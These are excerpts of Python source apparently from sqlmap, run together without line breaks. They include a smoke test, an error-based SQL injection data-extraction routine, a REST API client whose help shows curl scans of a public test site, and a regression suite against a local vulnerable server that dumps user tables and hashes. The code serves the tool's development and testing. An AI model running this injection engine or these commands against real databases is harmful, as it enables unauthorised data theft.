logger.info(infoMsg) break
def smokeTest(): """ Runs the basic smoke testing of a program """ dirtyPatchRandom() content = open(paths.ERRORS_XML, "r").read() for regex in re.findall(r'<error regexp="(.+?)"/>', content): try: re.compile(regex) except re.error: errMsg = "smoke test failed at compiling '%s'" % regex logger.error(errMsg) return False retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra")): continue for filename in files: if os.path.splitext(filename)[1].lower( ) == ".py" and filename != "__init__.py": length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra")): continue for filename in files: if os.path.splitext(filename)[1].lower( ) == ".py" and filename not in ("__init__.py", "gui.py"): path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] except Exception as ex: retVal = False dataToStdout("\r") errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % ( path, os.path.join(root, filename), ex) logger.error(errMsg) else: logger.setLevel(logging.CRITICAL) kb.smokeMode = True (failure_count, _) = doctest.testmod(module) kb.smokeMode = False logger.setLevel(logging.INFO) if failure_count > 0: retVal = False count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) def _(node): for __ in dir(node): if not __.startswith('_'): candidate = getattr(node, __) if isinstance(candidate, str): if '\\' in candidate: try: re.compile(candidate) except: errMsg = "smoke test failed at compiling '%s'" % candidate logger.error(errMsg) raise else: _(candidate) for dbms in queries: try: _(queries[dbms]) except: retVal = False clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") else: logger.error("smoke test final result: FAILED") return retVal
def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(kb.technique) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in expression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields( countedExpression) count = unArrayizeValue( _oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if " ORDER BY " in expression and ( stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " _ = readInput(message, default="N") if _ and _[0] in ("y", "Y"): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % ( field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = output[0] with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress( time.time() - valueStart, threadData.shared.counter) for index in xrange(len( threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert( index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[ 0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append( threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: threadData.shared.value.extend( _[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value) and len(value) == 1 and isinstance( value[0], basestring): value = value[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % ( kb.counters[kb.technique], duration) logger.debug(debugMsg) return value
def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ REST-JSON API client """ DataStore.username = username DataStore.password = password dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % ( host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % ( host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) logger.info("Starting REST-JSON API client to '%s'..." % addr) try: _client(addr) except Exception as ex: if not isinstance(ex, _urllib.error.HTTPError ) or ex.code == _http_client.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % ex logger.critical(errMsg) return commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit") autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: command = _input("api%s> " % (" (%s)" % taskid if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): print() break if command in ("data", "log", "status", "stop", "kill"): if not taskid: logger.error("No task ID in use") continue raw = _client("%s/scan/%s/%s" % (addr, taskid, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("option"): if not taskid: logger.error("No task ID in use") continue try: command, option = command.split(" ", 1) except ValueError: raw = _client("%s/option/%s/list" % (addr, taskid)) else: options = re.split(r"\s*,\s*", option.strip()) raw = _client("%s/option/%s/get" % (addr, taskid), options) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue try: argv = ["sqlmap.py"] + shlex.split(command)[1:] except Exception as ex: logger.error("Error occurred while parsing arguments ('%s')" % ex) taskid = None continue try: cmdLineOptions = cmdLineParser(argv).__dict__ except: taskid = None continue for key in list(cmdLineOptions): if cmdLineOptions[key] is None: del cmdLineOptions[key] raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: logger.error("Failed to create new task") continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: logger.error("Failed to start scan") continue logger.info("Scanning started") elif command.startswith("use"): taskid = (command.split()[1] if ' ' in command else "").strip("'\"") if not taskid: logger.error("Task ID is missing") taskid = None continue elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid): logger.error("Invalid task ID '%s'" % taskid) taskid = None continue logger.info("Switching to task ID '%s' " % taskid) elif command in ("list", "flush"): raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) elif command == "flush": taskid = None dataToStdout("%s\n" % raw) elif command in ("exit", "bye", "quit", 'q'): return elif command in ("help", "?"): msg = "help Show this help message\n" msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" msg += "status Retrieve and show status for current task\n" msg += "option OPTION Retrieve and show option for current task\n" msg += "options Retrieve and show all options for current task\n" msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" dataToStdout(msg) elif command: logger.error("Unknown command '%s'" % command)
def vulnTest(): """ Runs the testing against 'vulnserver' """ TESTS = ( (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", )), (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'", )), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")), ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")), ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting", )), ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ( "7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", )), ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ( "banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321", )), ) retVal = True count = 0 address, port = "127.0.0.10", random.randint(1025, 65535) def _thread(): vulnserver.init(quiet=True) vulnserver.run(address=address, port=port) thread = threading.Thread(target=_thread) thread.daemon = True thread.start() while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((address, port)) break except: time.sleep(1) handle, database = tempfile.mkstemp(suffix=".sqlite") os.close(handle) with sqlite3.connect(database) as conn: c = conn.cursor() c.executescript(vulnserver.SCHEMA) handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) handle, log = tempfile.mkstemp(suffix=".log") os.close(handle) content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % ( address, port) open(request, "w+").write(content) open(log, "w+").write( '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False))) url = "http://%s:%d/?id=1" % (address, port) direct = "sqlite3://%s" % database for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) cmd = "%s %s %s --batch" % ( sys.executable, os.path.abspath( os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace( "<request>", request).replace("<log>", log)) output = shellExec(cmd) if not all( (check in output if not check.startswith('~') else check[1:] not in output) for check in checks): dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("%s---\n" % clearColors(output)) retVal = False count += 1 clearConsoleLine() if retVal: logger.info("vuln test final result: PASSED") else: logger.error("vuln test final result: FAILED") return retVal